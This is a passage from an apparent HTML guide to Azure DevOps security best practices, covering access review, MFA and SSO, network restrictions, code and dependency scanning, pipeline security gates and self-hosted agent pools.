<li><strong>Regularly review permissions</strong>: Periodically review and update the permissions assigned to users and groups. Remove any unnecessary permissions or access that may have been granted over time. Also, adjust permissions when users change roles within the organization or when their job responsibilities evolve.</li>
<li><strong>Monitor and audit</strong>: Monitor user activities and access patterns to detect potential security issues. Regularly audit permissions to ensure that the principle of least privilege is maintained and that users do not have excessive permissions.</li>
</ol>
<p>By applying the principle of least privilege in Azure DevOps, you can minimize potential security risks and maintain a more secure environment. This approach helps prevent unauthorized access to sensitive resources and reduces the attack surface for potential adversaries.</p>
<h3 id="regularly-review-user-accounts-and-disable-unnecessary-accounts">Regularly review user accounts and disable unnecessary accounts</h3>
<p>Regularly reviewing user accounts and disabling unnecessary accounts is essential to maintain a secure environment in Azure DevOps. By keeping user accounts up to date and removing unused or inactive accounts, you can minimize the risk of unauthorized access and data breaches. Here&rsquo;s how to regularly review user accounts and disable unnecessary accounts in Azure DevOps:</p>
<ol>
<li><strong>Establish a review schedule</strong>: Create a schedule for reviewing user accounts in Azure DevOps. The frequency of these reviews can depend on your organization&rsquo;s size, the number of users, and your specific security requirements. For example, you might choose to perform reviews monthly, quarterly, or semi-annually.</li>
<li><strong>Identify inactive accounts</strong>: During the review process, look for user accounts that have been inactive for an extended period or have not been used as expected. Inactive accounts could include those belonging to former employees, temporary workers, or users who have changed roles within the organization.</li>
<li><strong>Remove unnecessary accounts</strong>: Disable or delete user accounts that are no longer needed or have not been used as expected. Be sure to follow your organization&rsquo;s policies and procedures for offboarding users, such as revoking access to resources and transferring ownership of any relevant work items.</li>
<li><strong>Update user access</strong>: If a user has changed roles within the organization, update their permissions and group memberships to reflect their new responsibilities. Ensure that users have access only to the resources and operations necessary for their current role, following the principle of least privilege.</li>
<li><strong>Monitor user activity</strong>: Utilize Azure DevOps monitoring and auditing features to track user activity and detect potential security issues. Regularly review audit logs and other reports to identify any unusual behavior or access patterns that may indicate unauthorized access or misuse of accounts.</li>
<li><strong>Automate account management</strong>: Consider using automation tools or scripts to help streamline the user account review process. For example, you can create scripts to identify inactive accounts, send notifications to account owners, or automatically disable accounts that have not been used for a specified period.</li>
</ol>
<p>By regularly reviewing user accounts and disabling unnecessary ones in Azure DevOps, you can maintain a secure environment and minimize the risk of unauthorized access to your projects and resources. This practice helps keep your user base accurate and ensures that only authorized users have access to your organization&rsquo;s resources.</p>
<h2 id="authentication-and-authorization">Authentication and Authorization</h2>
<h3 id="implement-strong-authentication-with-multi-factor-authentication-mfa">Implement strong authentication with Multi-Factor Authentication (MFA)</h3>
<p>Implementing strong authentication with Multi-Factor Authentication (MFA) is a critical security measure that helps protect your Azure DevOps environment from unauthorized access. MFA requires users to provide at least two forms of verification before granting access, making it much more difficult for attackers to compromise user accounts. Here&rsquo;s how to implement strong authentication with MFA in Azure DevOps:</p>
<ol>
<li><strong>Enable MFA in Azure Active Directory</strong>: Azure DevOps relies on Azure Active Directory (Azure AD) for user authentication. To enable MFA, start by configuring it in Azure AD. Go to the Azure portal, navigate to Azure Active Directory, and then find the &ldquo;Security&rdquo; section. Here, you can enable MFA for your organization.</li>
<li><strong>Set MFA policies</strong>: Define MFA policies for your organization based on your security requirements. You can enforce MFA for all users or only specific user groups. Additionally, you can set up conditional access policies that require MFA under certain conditions, such as when users access sensitive resources or when they sign in from unfamiliar locations.</li>
<li><strong>Choose authentication factors</strong>: MFA supports multiple authentication factors, such as something the user knows (e.g., a password), something the user has (e.g., a hardware token or smartphone), and something the user is (e.g., biometric data like a fingerprint). Choose the authentication factors that best suit your organization&rsquo;s needs and ensure a secure and user-friendly authentication experience.</li>
<li><strong>Educate users</strong>: Inform your users about the importance of MFA and provide guidance on how to set up and use MFA for their accounts. Offer resources and support to help users understand the MFA process and troubleshoot any issues they may encounter.</li>
<li><strong>Monitor and audit</strong>: Continuously monitor and audit user activity to detect any potential security threats or unauthorized access attempts. Review MFA-related logs and reports to identify any suspicious behavior or trends that may indicate a security risk.</li>
<li><strong>Regularly review and update</strong>: Periodically review your MFA policies and settings to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update MFA settings as needed to address any changes in the threat landscape or to accommodate new authentication factors or technologies.</li>
</ol>
<p>By implementing strong authentication with MFA in Azure DevOps, you can significantly reduce the risk of unauthorized access to your projects and resources. This added layer of security helps protect your organization from potential data breaches, account compromises, and other security incidents.</p>
<h3 id="provide-centralized-identity-management-using-sso-and-azure-active-directory-integration">Provide centralized identity management using SSO and Azure Active Directory integration</h3>
<p>Providing centralized identity management using Single Sign-On (SSO) and Azure Active Directory (Azure AD) integration simplifies access control and enhances security in Azure DevOps. SSO allows users to authenticate once and access multiple applications, while Azure AD integration enables centralized management of user accounts and permissions. Here&rsquo;s how to provide centralized identity management using SSO and Azure Active Directory integration in Azure DevOps:</p>
<ol>
<li>
<p><strong>Set up Azure Active Directory</strong>: Azure DevOps relies on Azure AD for user authentication and management. If you haven&rsquo;t already, create and configure an Azure AD tenant for your organization. Add users, groups, and any required custom roles in Azure AD.</p>
</li>
<li>
<p><strong>Configure SSO</strong>: Enable SSO by configuring your Azure AD tenant as the identity provider (IdP) for Azure DevOps. In the Azure portal, navigate to the &ldquo;Enterprise applications&rdquo; section under Azure Active Directory and add Azure DevOps as an application. Follow the guided setup process to configure SSO between Azure AD and Azure DevOps.</p>
</li>
<li>
<p><strong>Map Azure AD groups to Azure DevOps</strong>: After configuring SSO, map Azure AD groups to Azure DevOps by associating them with specific projects or teams. This allows you to manage access permissions centrally through Azure AD while reflecting those permissions in Azure DevOps.</p>
</li>
<li>
<p><strong>Set up conditional access policies</strong>: Enhance security by creating conditional access policies in Azure AD. These policies can require additional authentication steps, such as Multi-Factor Authentication (MFA), under specific conditions (e.g., accessing sensitive resources or signing in from unfamiliar locations).</p>
</li>
<li>
<p><strong>Configure third-party identity providers (optional)</strong>: If your organization uses third-party identity providers (IdPs) such as Google, Facebook, or others, you can integrate them with Azure AD using federation. This allows users to authenticate using their third-party credentials while still benefiting from centralized identity management in Azure AD.</p>
</li>
<li>
<p><strong>Educate users</strong>: Inform users about the SSO process and provide guidance on how to access Azure DevOps using their Azure AD credentials. Offer resources and support to help users understand the SSO experience and troubleshoot any issues they may encounter.</p>
</li>
<li>
<p><strong>Monitor and audit</strong>: Regularly monitor user activity and access patterns to detect potential security issues. Review Azure AD and Azure DevOps logs to identify any unusual behavior or trends that may indicate security risks.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your SSO and Azure AD integration settings to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new identity management features or technologies.</p>
</li>
</ol>
<p>By implementing strong authentication with MFA in Azure DevOps, you can significantly reduce the risk of unauthorized access to your projects and resources. This added layer of security helps protect your organization from potential data breaches, account compromises, and other security incidents.</p>
<h3 id="reduce-authentication-risks-with-risk-based-policies-and-azure-ad-identity-protection">Reduce authentication risks with risk-based policies and Azure AD Identity Protection.</h3>
<p>Reducing authentication risks with risk-based policies and Azure AD Identity Protection helps enhance security in Azure DevOps by detecting and responding to potential threats in real-time. Risk-based policies evaluate user behavior and other factors to identify potential security risks, while Azure AD Identity Protection leverages machine learning algorithms to detect suspicious activities. Here&rsquo;s how to reduce authentication risks with risk-based policies and Azure AD Identity Protection integration in Azure DevOps:</p>
<ol>
<li>
<p><strong>Enable Azure AD Identity Protection</strong>: To use Azure AD Identity Protection, you need an Azure AD Premium P2 subscription. Once you have the appropriate subscription, enable Identity Protection in the Azure portal by navigating to Azure Active Directory and then to the &ldquo;Security&rdquo; section.</p>
</li>
<li>
<p><strong>Configure risk-based policies</strong>: In Azure AD Identity Protection, you can create and configure risk-based policies that automatically respond to detected risks. These policies can include sign-in risk policies and user risk policies.</p>
<ul>
<li><em>Sign-in risk policies</em>: These policies evaluate the risk level of each sign-in attempt based on factors such as unfamiliar locations, anonymous IP addresses, and unusual sign-in patterns. You can configure these policies to require additional authentication steps, such as Multi-Factor Authentication (MFA), for sign-ins deemed risky.</li>
<li><em>User risk policies</em>: These policies assess the overall risk level of user accounts based on their behavior and activity patterns. You can configure these policies to block access or require users to reset their passwords when a certain risk level is detected.</li>
</ul>
</li>
<li>
<p><strong>Integrate with Azure DevOps</strong>: Azure AD Identity Protection is integrated with Azure DevOps through Azure AD, which serves as the authentication provider for Azure DevOps. As a result, the risk-based policies and protections you configure in Azure AD Identity Protection will automatically apply to your Azure DevOps users.</p>
</li>
<li>
<p><strong>Educate users</strong>: Inform your users about the risk-based policies and Azure AD Identity Protection measures in place. Provide guidance on how to respond to risk alerts, such as resetting their password or completing additional authentication steps.</p>
</li>
<li>
<p><strong>Monitor and audit</strong>: Regularly review the Azure AD Identity Protection dashboard and reports to monitor detected risks and the effectiveness of your risk-based policies. Adjust policies as needed to address emerging threats or changing security requirements.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your risk-based policies and Azure AD Identity Protection settings to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By reducing authentication risks with risk-based policies and Azure AD Identity Protection integration in Azure DevOps, you can enhance security and respond more effectively to potential threats. This approach helps protect your organization from unauthorized access, account compromises, and other security incidents related to user authentication.</p>
<h2 id="network-security">Network Security</h2>
<h3 id="restrict-access-using-ip-based-network-security-groups-and-private-networks">Restrict access using IP-based network security groups and private networks</h3>
<p>Restricting access using IP-based network security groups and private networks helps enhance security in Azure DevOps by limiting access to your resources based on specific IP addresses or address ranges. This approach can help prevent unauthorized access and reduce the attack surface of your environment. Here&rsquo;s how to restrict access using IP-based network security groups and private networks in Azure DevOps:</p>
<ol>
<li>
<p><strong>Configure IP-based restrictions for Azure DevOps Services</strong>: You can limit access to your Azure DevOps organization by specifying a list of allowed IP addresses or address ranges. In the Azure DevOps portal, go to the &ldquo;Organization settings&rdquo; page, then click on &ldquo;Security&rdquo; and &ldquo;IP restrictions.&rdquo; Here, you can add the IP addresses or ranges that are allowed to access your organization.</p>
</li>
<li>
<p><strong>Configure Azure Private Link (optional)</strong>: Azure Private Link enables you to access Azure DevOps Services over a private network connection. By using Private Link, you can securely access your Azure DevOps resources without exposing them to the public internet. To set up Azure Private Link, follow the documentation provided by Microsoft to create a Private Link Service and connect it to your Azure DevOps organization.</p>
</li>
<li>
<p><strong>Set up network security groups (NSGs)</strong>: NSGs are used to control inbound and outbound traffic to Azure resources, such as virtual machines (VMs) or App Services. Configure NSGs with appropriate rules to allow or deny access based on IP addresses or address ranges. You can create and manage NSGs in the Azure portal by navigating to the &ldquo;Networking&rdquo; section of the desired resource.</p>
</li>
<li>
<p><strong>Use virtual networks (VNets)</strong>: VNets provide a private, isolated network in Azure that you can use to host your resources, such as VMs or App Services. Configure VNets to include the required subnets and IP address ranges, and connect them to your on-premises network using a VPN gateway or ExpressRoute, if necessary. By using VNets, you can ensure that your Azure DevOps resources are only accessible from within your private network.</p>
</li>
<li>
<p><strong>Monitor and audit</strong>: Regularly review logs and reports to monitor access to your Azure DevOps resources and detect any potential security issues. Use Azure Monitor, Log Analytics, or other monitoring tools to track access patterns and identify any unusual behavior or trends that may indicate unauthorized access.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your IP-based restrictions, network security groups, and private network configurations to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By restricting access using IP-based network security groups and private networks in Azure DevOps, you can enhance security and prevent unauthorized access to your projects and resources. This approach helps ensure that only authorized users and devices can access your Azure DevOps environment, reducing the risk of data breaches and other security incidents.</p>
<h3 id="establish-secure-communication-with-on-premises-systems-using-vpn-or-expressroute">Establish secure communication with on-premises systems using VPN or ExpressRoute</h3>
<p>Establishing secure communication with on-premises systems using VPN or ExpressRoute is essential when you need to integrate Azure DevOps with your existing infrastructure. Both options allow you to create private connections between your on-premises network and Azure, ensuring secure data transfer and reducing exposure to the public internet. Here&rsquo;s how to establish secure communication with on-premises systems using VPN or ExpressRoute in Azure DevOps:</p>
<ol>
<li>
<p><strong>Assess your requirements</strong>: Before selecting a connectivity option, evaluate your organization&rsquo;s needs in terms of bandwidth, latency, and security requirements. While VPN is typically more straightforward and cost-effective, ExpressRoute provides higher bandwidth, lower latency, and enhanced security features.</p>
</li>
<li>
<p><strong>Set up a VPN connection</strong>: If you choose to use a VPN, you&rsquo;ll need to create a VPN gateway in your Azure virtual network (VNet) and configure a VPN device on your on-premises network. Follow the Azure documentation to create and configure the VPN gateway, and then establish a secure site-to-site VPN connection between your on-premises network and Azure VNet.</p>
</li>
<li>
<p><strong>Set up ExpressRoute</strong>: If you opt for ExpressRoute, you&rsquo;ll need to establish a connection between your on-premises network and an Azure ExpressRoute location. This process typically involves working with an ExpressRoute connectivity partner or a network service provider. Follow the Azure documentation to create an ExpressRoute circuit and configure peering to your Azure VNet.</p>
</li>
<li>
<p><strong>Configure Azure DevOps</strong>: Once you&rsquo;ve established a secure connection to Azure, you may need to update the settings in your Azure DevOps projects to enable integration with your on-premises systems. This could involve configuring build and release pipelines to interact with on-premises resources, updating service connections, or modifying other settings to work with your on-premises infrastructure.</p>
</li>
<li>
<p><strong>Monitor and audit</strong>: Regularly monitor the health and performance of your VPN or ExpressRoute connection to ensure optimal performance and security. Use Azure Monitor, Network Watcher, or other monitoring tools to track usage, latency, and other metrics. Review logs and reports to detect potential security issues or performance problems.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your VPN or ExpressRoute configuration to ensure it remains effective and aligned with your organization&rsquo;s security and performance requirements. Update settings as needed to address any changes in the threat landscape, or to accommodate new features or technologies.</p>
</li>
</ol>
<p>By establishing secure communication with on-premises systems using VPN or ExpressRoute in Azure DevOps, you can securely integrate your cloud-based projects and resources with your existing infrastructure. This approach helps ensure that your data is protected during transit and reduces the risk of unauthorized access, data breaches, and other security incidents.</p>
<h3 id="protect-and-route-network-traffic-with-azure-ddos-protection-and-azure-firewall">Protect and route network traffic with Azure DDoS Protection and Azure Firewall</h3>
<p>Protecting and routing network traffic with Azure DDoS Protection and Azure Firewall enhances the security of your Azure DevOps environment by safeguarding against Distributed Denial of Service (DDoS) attacks and filtering network traffic based on specific rules. Here&rsquo;s how to protect and route network traffic with Azure DDoS Protection and Azure Firewall in Azure DevOps:</p>
<ol>
<li>
<p><strong>Enable Azure DDoS Protection Standard</strong>: Azure DDoS Protection Standard provides advanced DDoS protection for your virtual networks (VNets). To enable it, go to the Azure portal, navigate to the &ldquo;Virtual networks&rdquo; section, and select the VNet you want to protect. Under the &ldquo;DDoS Protection&rdquo; tab, choose &ldquo;Standard&rdquo; and save your changes. Azure DDoS Protection Standard will then automatically protect all public IP addresses associated with the VNet.</p>
</li>
<li>
<p><strong>Configure DDoS Protection settings</strong>: Customize the settings of your DDoS Protection, such as traffic thresholds and alert settings, to fit your organization&rsquo;s requirements. Use Azure Monitor and diagnostic logs to review DDoS attack patterns and adjust protection settings accordingly.</p>
</li>
<li>
<p><strong>Deploy Azure Firewall</strong>: Azure Firewall is a managed, cloud-based network security service that protects your Azure Virtual Network resources. To deploy Azure Firewall, follow the Azure documentation to create a new firewall instance, configure the required subnets, and associate it with your VNet.</p>
</li>
<li>
<p><strong>Configure Azure Firewall rules</strong>: Define rules for Azure Firewall to filter and route network traffic based on specific criteria, such as source and destination IP addresses, protocols, and ports. You can create application rules to control outbound access to specific domains or fully qualified domain names (FQDNs) and network rules to control inbound and outbound traffic based on IP addresses, protocols, and ports.</p>
</li>
<li>
<p><strong>Integrate Azure Firewall with Azure DevOps</strong>: Update the network settings in your Azure DevOps projects and pipelines to route traffic through the Azure Firewall instance. This might involve modifying service connections, build agents, or other configurations to work with Azure Firewall.</p>
</li>
<li>
<p><strong>Monitor and audit</strong>: Regularly review Azure Firewall logs and metrics to monitor the effectiveness of your rules and detect potential security issues. Use Azure Monitor, Log Analytics, or other monitoring tools to track network traffic patterns and identify any unusual behavior that may indicate unauthorized access or attacks.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your Azure DDoS Protection and Azure Firewall settings to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By protecting and routing network traffic with Azure DDoS Protection and Azure Firewall in Azure DevOps, you can enhance security and minimize the risk of DDoS attacks and unauthorized access. This approach helps ensure the integrity and availability of your Azure DevOps environment, reducing the risk of data breaches and other security incidents.</p>
<h2 id="code-security">Code Security</h2>
<h3 id="apply-code-review-processes-to-detect-security-vulnerabilities">Apply code review processes to detect security vulnerabilities.</h3>
<p>Applying code review processes to detect security vulnerabilities is essential for ensuring the security and reliability of your Azure DevOps projects. Code reviews help identify potential issues early in the development process, reducing the risk of security breaches and improving overall code quality. Here&rsquo;s how to apply code review processes to detect security vulnerabilities in Azure DevOps:</p>
<ol>
<li>
<p><strong>Establish a code review policy</strong>: Create a formal code review policy for your organization that outlines the goals, scope, and process of code reviews. Ensure that the policy covers the identification of security vulnerabilities and encourages collaboration between developers and security teams.</p>
</li>
<li>
<p><strong>Implement branch policies</strong>: Configure branch policies in Azure Repos to enforce code reviews for specific branches, such as the main branch or release branches. Enable the &ldquo;Require a minimum number of reviewers&rdquo; setting and set an appropriate number of required approvals. This ensures that every pull request must be reviewed and approved by a specified number of developers before it can be merged.</p>
</li>
<li>
<p><strong>Use pull request reviews</strong>: Encourage developers to use pull request reviews in Azure Repos to collaborate on code changes, identify security vulnerabilities, and provide feedback. Encourage reviewers to focus not only on code quality and functionality but also on security best practices and potential vulnerabilities.</p>
</li>
<li>
<p><strong>Integrate automated security analysis tools</strong>: Leverage automated security analysis tools, such as static application security testing (SAST) and dynamic application security testing (DAST) tools, to scan your codebase for vulnerabilities. Integrate these tools into your build and release pipelines in Azure DevOps to identify security issues early in the development process. Examples of such tools include SonarQube, Fortify, and Checkmarx.</p>
</li>
<li>
<p><strong>Educate developers on secure coding practices</strong>: Provide training and resources to developers to help them understand secure coding practices and the importance of identifying and fixing security vulnerabilities during code reviews. Encourage a security-focused mindset and foster a culture of continuous learning and improvement.</p>
</li>
<li>
<p><strong>Track and remediate security vulnerabilities</strong>: Use Azure Boards or another issue tracking system to log and track security vulnerabilities identified during code reviews. Assign responsibility for addressing these vulnerabilities and ensure they are resolved in a timely manner.</p>
</li>
<li>
<p><strong>Monitor and audit</strong>: Regularly review the effectiveness of your code review processes and their impact on the security of your Azure DevOps projects. Use metrics such as the number of vulnerabilities detected, the time taken to remediate issues, and the overall quality of code changes to evaluate the success of your code review processes.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your code review processes and security policies to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By applying code review processes to detect security vulnerabilities in Azure DevOps, you can enhance the security of your projects and reduce the risk of security breaches. This approach helps ensure that your code is developed with security best practices in mind, fostering a culture of continuous improvement and collaboration between developers and security teams.</p>
<h3 id="use-static-and-dynamic-code-analysis-tools-for-automatic-detection">Use static and dynamic code analysis tools for automatic detection.</h3>
<p>Using static and dynamic code analysis tools for automatic detection of vulnerabilities is a crucial part of ensuring the security of your Azure DevOps projects. These tools can help identify potential issues early in the development process, reducing the risk of security breaches and improving overall code quality. Here&rsquo;s how to use static and dynamic code analysis tools for automatic detection in Azure DevOps:</p>
<ol>
<li>
<p><strong>Choose appropriate tools</strong>: Select suitable static application security testing (SAST) and dynamic application security testing (DAST) tools based on your organization&rsquo;s requirements, programming languages, and frameworks. Examples of SAST tools include SonarQube, Fortify, and Checkmarx, while examples of DAST tools include OWASP ZAP, Burp Suite, and Arachni.</p>
</li>
<li>
<p><strong>Integrate SAST tools</strong>: Integrate your chosen SAST tools into your build and release pipelines in Azure DevOps. Configure the tools to scan your codebase during the build process and generate reports on identified vulnerabilities. This will help developers address issues early in the development cycle.</p>
</li>
<li>
<p><strong>Integrate DAST tools</strong>: Integrate your chosen DAST tools into your release pipelines in Azure DevOps. Configure the tools to scan your web applications during deployment or as part of your testing process. This will help identify vulnerabilities that may only be detected during runtime or when the application is interacting with external systems.</p>
</li>
<li>
<p><strong>Customize tool settings</strong>: Tailor the settings of your static and dynamic code analysis tools to align with your organization&rsquo;s security requirements and risk tolerance. This may involve adjusting rules, severity thresholds, or reporting options to ensure that the tools provide actionable and relevant information.</p>
</li>
<li>
<p><strong>Automate vulnerability detection</strong>: Configure your build and release pipelines to automatically trigger static and dynamic code analysis scans during the development and deployment process. This ensures that potential vulnerabilities are identified and addressed consistently and efficiently.</p>
</li>
<li>
<p><strong>Monitor and review results</strong>: Regularly review the results of your static and dynamic code analysis scans to track and prioritize identified vulnerabilities. Use Azure Boards or another issue tracking system to log and track security issues, and assign responsibility for addressing them.</p>
</li>
<li>
<p><strong>Remediate vulnerabilities</strong>: Ensure that developers and security teams collaborate to address identified vulnerabilities in a timely manner. Use the reports and insights provided by the static and dynamic code analysis tools to guide the remediation process and validate that vulnerabilities have been resolved.</p>
</li>
<li>
<p><strong>Educate developers</strong>: Provide training and resources to developers on the use of static and dynamic code analysis tools, as well as secure coding practices. Encourage a security-focused mindset and foster a culture of continuous learning and improvement.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your static and dynamic code analysis tool configurations and processes to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update tools and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By using static and dynamic code analysis tools for automatic detection in Azure DevOps, you can enhance the security of your projects and reduce the risk of security breaches. This approach helps ensure that your code is developed with security best practices in mind, and promotes a culture of continuous improvement and collaboration between developers and security teams.</p>
<h3 id="establish-secure-coding-standards-and-ensure-dependency-security">Establish secure coding standards and ensure dependency security</h3>
<p>Establishing secure coding standards and ensuring dependency security is essential for maintaining the security and reliability of your Azure DevOps projects. Secure coding practices help minimize the risk of introducing vulnerabilities in your code, while dependency security ensures that the third-party libraries and components you rely on are also secure. Here&rsquo;s how to establish secure coding standards and ensure dependency security in Azure DevOps:</p>
<ol>
<li>
<p><strong>Develop secure coding guidelines</strong>: Create a set of secure coding guidelines that outline best practices for writing secure code in your organization. These guidelines should cover topics such as input validation, error handling, secure data storage, and secure communication. Ensure that the guidelines are tailored to the programming languages and frameworks used in your projects.</p>
</li>
<li>
<p><strong>Educate developers</strong>: Provide training and resources to developers on secure coding practices and the importance of following your organization&rsquo;s secure coding guidelines. Encourage a security-focused mindset and foster a culture of continuous learning and improvement.</p>
</li>
<li>
<p><strong>Integrate security into the development process</strong>: Encourage developers to apply secure coding practices throughout the development process, from design and implementation to testing and deployment. Use tools such as static and dynamic code analysis to help identify and address potential security issues.</p>
</li>
<li>
<p><strong>Monitor open-source dependencies</strong>: Use tools like Dependabot, WhiteSource, or Snyk to automatically monitor your open-source dependencies for known vulnerabilities and outdated versions. Integrate these tools into your Azure DevOps pipelines to receive automated alerts and recommendations for updating insecure dependencies.</p>
</li>
<li>
<p><strong>Implement dependency management policies</strong>: Establish policies for managing dependencies, including guidelines for selecting and approving third-party libraries, reviewing and updating dependencies, and addressing identified vulnerabilities. Ensure that these policies are followed consistently across all projects.</p>
</li>
<li>
<p><strong>Regularly audit dependencies</strong>: Periodically review your project&rsquo;s dependencies to ensure they are up-to-date, secure, and compliant with your organization&rsquo;s policies. Remove any unnecessary or outdated dependencies that may pose security risks.</p>
</li>
<li>
<p><strong>Use private package feeds</strong>: When using package managers like NuGet, npm, or Maven, consider using Azure Artifacts or another private package feed to securely store and manage your dependencies. This allows you to control access to your packages and ensure that only approved dependencies are used in your projects.</p>
</li>
<li>
<p><strong>Establish a vulnerability response process</strong>: Develop a process for responding to vulnerabilities in your code or dependencies, including steps for identifying, prioritizing, and addressing vulnerabilities. Ensure that your team is familiar with this process and that it is followed consistently.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your secure coding standards and dependency security policies to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update guidelines and policies as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By establishing secure coding standards and ensuring dependency security in Azure DevOps, you can minimize the risk of security breaches and improve the overall security posture of your projects. This approach helps ensure that your code and the third-party components you rely on are developed with security best practices in mind, fostering a culture of continuous improvement and collaboration between developers and security teams.</p>
<h2 id="devops-security">DevOps Security</h2>
<h3 id="add-security-controls-and-automated-tests-in-build-and-release-pipelines">Add security controls and automated tests in Build and Release pipelines</h3>
<p>Adding security controls and automated tests in Build and Release pipelines can help improve the security of your Azure DevOps projects by identifying and addressing vulnerabilities early in the development process. Integrating security checks into your pipelines ensures that security is an integral part of your software development lifecycle. Here&rsquo;s how to add security controls and automated tests in Build and Release pipelines in Azure DevOps:</p>
<ol>
<li>
<p><strong>Integrate SAST tools</strong>: Integrate Static Application Security Testing (SAST) tools like SonarQube, Fortify, or Checkmarx into your build pipeline. Configure the tools to automatically scan your code for vulnerabilities during the build process and generate reports on identified issues.</p>
</li>
<li>
<p><strong>Integrate DAST tools</strong>: Integrate Dynamic Application Security Testing (DAST) tools like OWASP ZAP, Burp Suite, or Arachni into your release pipeline. Configure these tools to automatically scan your web applications during deployment or as part of your testing process, identifying vulnerabilities that may only be detected during runtime or when the application is interacting with external systems.</p>
</li>
<li>
<p><strong>Implement automated security tests</strong>: Develop custom automated security tests to validate the security of your application. These tests can include checks for input validation, secure communication, authentication, and other security requirements.</p>
</li>
</ol>
<p>Integrate these tests into your build or release pipelines to ensure they are executed during the development process.</p>
<ol start="4">
<li>
<p><strong>Use dependency vulnerability scanning tools</strong>: Incorporate tools like Dependabot, WhiteSource, or Snyk into your build pipeline to automatically check your project&rsquo;s dependencies for known vulnerabilities and outdated versions. This helps ensure that third-party libraries and components you rely on are also secure.</p>
</li>
<li>
<p><strong>Enforce code signing</strong>: Configure your build pipeline to sign your code using a trusted digital certificate. This helps ensure the integrity of your code and protects against tampering or unauthorized modifications.</p>
</li>
<li>
<p><strong>Implement security gates</strong>: Add security gates in your release pipeline that prevent the deployment of code with identified vulnerabilities. Configure these gates to automatically block the release if security issues are detected, requiring the issues to be resolved before deployment can proceed.</p>
</li>
<li>
<p><strong>Monitor and review pipeline results</strong>: Regularly review the results of your security scans and tests to identify and prioritize vulnerabilities. Use Azure Boards or another issue tracking system to log and track security issues, assigning responsibility for addressing them.</p>
</li>
<li>
<p><strong>Remediate vulnerabilities</strong>: Ensure that developers and security teams collaborate to address identified vulnerabilities in a timely manner. Use the reports and insights provided by security tools and tests to guide the remediation process and validate that vulnerabilities have been resolved.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your build and release pipeline configurations, security controls, and automated tests to ensure they remain effectiveand aligned with your organization&rsquo;s security requirements. Update tools, tests, and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By adding security controls and automated tests in Build and Release pipelines in Azure DevOps, you can enhance the security of your projects and reduce the risk of security breaches. This approach helps ensure that security is an integral part of your software development lifecycle, fostering a culture of continuous improvement and collaboration between developers and security teams.</p>
<h3 id="secure-agents-by-using-trusted-agent-pools">Secure agents by using trusted agent pools</h3>
<p>Securing agents by using trusted agent pools is essential to ensure the integrity and security of your build and release processes in Azure DevOps. Trusted agent pools help minimize the risk of unauthorized access or tampering with your build and release pipelines. Here&rsquo;s how to secure agents by using trusted agent pools in Azure DevOps:</p>
<ol>
<li>
<p><strong>Understand agent pools</strong>: An agent pool is a collection of agents that are used to run build and release tasks in Azure DevOps. Agents can be either Microsoft-hosted or self-hosted. Microsoft-hosted agents are automatically maintained and secured by Azure DevOps, while self-hosted agents require manual management and security configuration.</p>
</li>
<li>
<p><strong>Choose the appropriate agent type</strong>: When using Microsoft-hosted agents, you benefit from the security and maintenance provided by Microsoft. However, if your organization has specific security requirements or needs to access on-premises resources, you might need to use self-hosted agents.</p>
</li>
<li>
<p><strong>Create dedicated agent pools</strong>: For self-hosted agents, create dedicated agent pools for different projects or environments (e.g., development, staging, production). This helps you isolate the resources and control access to specific agent pools, minimizing the potential impact of security breaches or misconfigurations.</p>
</li>
<li>
<p><strong>Restrict access to agent pools</strong>: Use Role-Based Access Control (RBAC) to restrict access to your agent pools. Assign the appropriate roles to users and groups, such as &ldquo;Agent Pool Administrator&rdquo; or &ldquo;Agent Pool User,&rdquo; to control who can manage and use the agents within a specific pool.</p>
</li>
<li>
<p><strong>Secure self-hosted agents</strong>: When using self-hosted agents, ensure they are installed on secure and regularly updated machines. Configure the agents to run as a dedicated user with the least necessary privileges, and use network security best practices to protect the machines hosting the agents, such as firewall rules and network segmentation.</p>
</li>
<li>
<p><strong>Regularly update self-hosted agents</strong>: Ensure your self-hosted agents are always up to date with the latest security patches and updates. Regularly check for updates and apply them in a timely manner to minimize security risks.</p>
</li>
<li>
<p><strong>Monitor agent activity</strong>: Regularly review the logs and activity of your agents to identify any suspicious activity or potential security issues. Use Azure Monitor or other monitoring tools to keep track of agent performance and health.</p>
</li>
<li>
<p><strong>Secure agent communication</strong>: Ensure the communication between your agents and Azure DevOps is secure by using HTTPS and secure web sockets (WSS). This helps protect the confidentiality and integrity of the data exchanged between agents and the Azure DevOps server.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your agent pool configurations and security settings to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update settings and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By securing agents using trusted agent pools in Azure DevOps, you can minimize the risk of security breaches or unauthorized access to your build and release processes. This approach helps ensure the integrity and security of your software development lifecycle, fostering a culture of continuous improvement and collaboration between developers and security teams.</p>
